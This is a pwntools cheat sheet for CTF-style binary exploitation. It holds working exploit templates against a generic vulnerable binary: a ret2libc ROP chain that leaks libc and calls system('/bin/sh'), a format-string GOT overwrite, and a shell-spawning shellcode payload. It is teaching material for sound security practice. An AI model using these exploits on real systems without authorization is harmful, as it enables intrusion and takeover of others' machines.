pwntools Cheat Sheet
Python library for exploit development, remote/local process interaction, and ROP/shellcode workflows.
Overview
pwntools automates connecting to targets, leaking addresses, building ROP chains, and sending structured payloads. Standard for CTF pwn challenges and custom binary exploitation on Linux.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
pip install pwntoolsUbuntu deps (sometimes needed)
sudo apt install -y python3-dev libssl-devVerify
python3 -c "from pwn import *; print('ok')"Essential commands
!/usr/bin/env python3
from pwn import *context.binary = elf = ELF('./vuln')context.log_level = 'info' # debug for hex dumpsLocal
p = process('./vuln')Remote
p = remote('10.10.10.1', 9001)Send / receive
p.sendline(b'AAAA')line = p.recvuntil(b'}')leak = u64(p.recv(6).ljust(8, b'\x00'))p.interactive()Common workflows
ret2libc (64-bit leak + system) —
from pwn import *elf = ELF('./vuln')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')rop = ROP(elf)p = process('./vuln')Stage 1: leak puts@GOT
rop.call(elf.plt.puts, [elf.got.puts, elf.sym.main])p.sendline(flat({0x40: rop.chain()}))p.recvuntil(b'Hello\n')leak = u64(p.recvline().strip().ljust(8, b'\x00'))libc.address = leak - libc.sym.putslog.success(f'libc @ {hex(libc.address)}')Stage 2
rop = ROP(elf)rop.call(libc.sym.system, [next(libc.search(b'/bin/sh\x00'))])p.sendline(flat({0x40: rop.chain()}))p.interactive()Format string write —
from pwn import *elf = ELF('./vuln')p = process('./vuln')payload = fmtstr_payload(6, {elf.got.exit: elf.sym.win}, write_size='short')p.sendline(payload)p.interactive()Shellcode + NOP sled —
from pwn import *context.arch = 'amd64'shellcode = asm(shellcraft.sh())p = remote('host', 1337)p.sendline(flat({0x48: b'A'*0x48, 0x58: p64(0xdeadbeef), 0x60: shellcode}))p.interactive()cyclic pattern (offset finding) —
python3 -c "from pwn import *; print(cyclic(200).decode())"template generator —
pwn template ./challengeFlags reference
context.arch | amd64, i386, arm |
|---|---|
context.os | linux, windows |
flat() / fit() | Pack mixed ints/bytes |
u32 / u64 | Unpack little-endian |
p32 / p64 | Pack addresses |
log.info / log.success | Colored logging |
ELF.search() | Find byte sequences in binary |
process(env={}) | Set environment for local run |
Tips
- Set context.binary early so addresses and architecture stay consistent.
- Use gdb.debug() with gdbscript for breakpoints on the same run as your exploit.
- libc = ELF('provided.so') when the challenge ships libc — match version for offsets.
- tube.clean() and recvrepeat(0.5) help with noisy banners before leaks.
- Disable ASLR locally only for debugging: setarch -R ./vuln.